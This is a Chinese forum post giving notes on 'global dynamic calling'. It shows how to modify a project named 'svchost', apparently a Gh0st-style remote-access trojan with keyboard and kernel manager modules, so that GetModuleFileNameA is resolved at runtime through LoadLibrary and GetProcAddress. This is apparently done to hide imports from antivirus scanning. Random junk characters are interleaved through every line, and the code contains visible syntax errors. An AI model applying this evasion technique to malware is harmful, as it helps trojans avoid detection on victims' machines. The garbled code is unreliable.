返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
+ @# ~2 w' G/ ?% |/ wsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
3 \7 Y( B# W% X! T& ?7 F----------------------------------------) Z( Z9 i8 ]  r* S! P# C! z1 I0 A+ h$ N
DTDY.h:8 p" U0 W' f+ Q" V

7 `* ^6 Z3 ]# ~6 j#if _MSC_VER>1000
3 \' c9 G5 Q# \. p0 k: ?6 I6 L% }#pragma once
5 }8 a0 m: j; p8 A#endif //_MSC_VER>1000" e3 U$ g7 u+ k. _: ?9 i; e  M- N
#include<windows.h>
1 Q3 ?. a- }1 l! g( a1 g- F% o8 |! d5 I& ~# k1 Z: r- _
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);/ b9 N9 d% d# ]3 i# j) Q5 ^
class DTDY$ }. k1 W( C% n9 z( V
{, r; Q4 y- B& G4 ~, l
public:
9 }8 G! ?9 Q2 ^DTDY();
+ p" c6 u6 t) lvirtual ~DTDY();! T7 U% F9 r* h$ N  G: w
public:% [8 l- I1 e- K
static pGetModuleFileNameA MyGetModuleFileName;; r' M: P& h, Y; z+ b; ~7 w
static BOOL FunInitiallization();" r# S5 L) N7 _" H! P2 r, z% i" o
};
: c9 f% I1 a8 g1 e) X" e: H#endif
- X' [6 Y& ]6 _----------------------------------------
! Q( S8 J' G; M( B* H5 J0 b$ B1 m# l  w% ~+ n' C
DTDY.cpp:2 U0 @6 Z$ Q% C
; t9 C/ Q# \" v% ?6 ]
#include "DTDY.h"
3 x- [2 l$ y% U  BpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;9 O' }. R8 N+ {( K( j
DTDY:TDY()0 l6 g1 y1 F9 y  E# }- i
{
, [( e" x& R3 n8 W. _* |' D" s# V! M}
! }+ Y! m" Q/ a/ hDTDY::~DTDY()
9 u% ?' U% P7 r{
2 z; C& J5 ~8 a8 U" Y6 `# t+ B}
+ j4 o' c& M- |- u  d" JBOOL DTDY::FunInitiallization()+ q' U9 R" j6 p' l' ~& @
{- b1 C3 f+ J/ ?5 r, _
HMODULE hModule=LoadLibrary("kernel32.dll");9 |$ i2 ?9 L7 C. D2 U( I3 M" `3 K
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");; X: D) T/ c, \' T' b
if(!MyGetModuleFileName=) return FALSE;
9 z+ C; p& K, V$ `" L" Y1 }# b$ e" i
, \" A+ C7 g( p& |/ S. U1 Nreturn TRUE;
# q4 e" ~# u3 B; d$ \}
6 b) ~( f4 `, C----------------------------------------$ I. e0 V4 K2 o2 ^- h7 Z' j" @0 J  Q
svchost.cpp:9 R& k4 i% ?+ t2 ]5 F' n( n$ h" s/ b# }

, L( |$ R% V1 C. ^, ~' v2 U3 \9 m#include "DTDY.h"5 U+ I/ v8 ?- u7 g, `/ E- j
: r+ k& H  W6 i' z# n; E
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)4 h" I& O( `0 D; H+ {: f* q+ e# r
{+ ~3 P$ ~4 _7 t7 C% I6 N
switch(ul_reason_for_call)5 Y' E' _0 a0 Y) M2 }7 G$ Q! J
{: N3 p/ v" K1 c6 j" Q" M
case DLL_PROCESS_ATTACH:' J  U. s3 r- z( `* ^$ y3 b
if(!DTDY::FunInitiallization()) return FALSE;
7 _/ k& M7 @1 J* @2 A9 Z9 \; W
  P( G, ^" S: z! p+ qbreak;
, a$ q. U4 A# r" l}
* Q6 M5 d* D3 x}
' u+ F8 r6 x9 U8 ^( O6 V8 O! R2 Z" S

5 |% V+ E! [) o( z# ]' q* C0 GGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
: z# w2 n- \8 G+ Z% O- ~改写为+ P5 I+ o2 t& c  ?( B
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));2 h  y5 C" ~5 _8 I9 @9 E
----------------------------------------
6 r/ I& |9 e5 e- ?9 n9 b/ pKernelManager.cpp:- M2 q4 h  W1 y
& t3 ^* R8 L: u  r8 M3 \! G8 v
#include "../DTDY.h"
0 ^2 e  }1 H1 W  e5 i/ IGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));: Q7 Q  b0 D$ b1 C+ ~6 q) F
改写为
" E; _0 c7 K. Q8 TDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));" P( |: |! t& j! S3 D; ]
----------------------------------------

返回列表